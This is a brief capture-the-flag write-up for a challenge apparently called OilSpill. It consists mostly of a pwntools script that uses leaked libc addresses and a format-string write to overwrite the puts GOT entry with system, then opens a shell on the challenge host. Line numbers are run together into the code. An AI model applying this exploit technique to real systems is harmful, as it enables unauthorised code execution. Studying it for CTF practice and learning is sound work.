  Format string exploit. Overwritte `puts` with `system` and the data used by `puts` pointer with `/bin/sh` no leaked needed due to program leak ```python 3   │ from pwn import * 4   │ 5   │ elf = ELF("./OilSpill_patched") 6   │ context.binary = elf 7   │ rop = ROP(elf) 8   │ 9   │ gs = '''10   │ continue11   │ '''12   │13   │ #context.log_level = "debug"14   │15   │ def conn():16   │     global libc17   │     if args.REMOTE:18   │         libc = ELF("libc6_2.27-3ubuntu1.5_amd64.so")19   │         r = remote("oil.sdc.tf", 1337)20   │     else:21   │         libc = ELF("/usr/lib/libc.so.6")22   │23   │         r = process([elf.path])24   │         if args.GDB:25   │             return gdb.debug(elf.path, gdbscript=gs)26   │     return r27   │28   │ def send_payload(payload):29   │     p.sendline(payload)30   │31   │ p = conn()32   │33   │ addresses = p.recvline()[:-1].split(b",")34   │35   │ printf = int(addresses[1], 16)36   │ puts = int(addresses[0], 16)37   │ info(f"Leaked printf @ {hex(printf)}")38   │ info(f"Leaked puts @ {hex(puts)}")39   │ libc.address = printf - libc.sym.printf40   │ info(f"Leaked libc.address @ {hex(libc.address)}")41   │42   │ format_string = FmtStr(execute_fmt=send_payload, offset=8)43   │ format_string.write(0x600c80, b"/bin/sh\0")44   │ format_string.write(elf.got.puts, libc.sym.system)45   │ format_string.execute_writes()47   │ p.interactive()```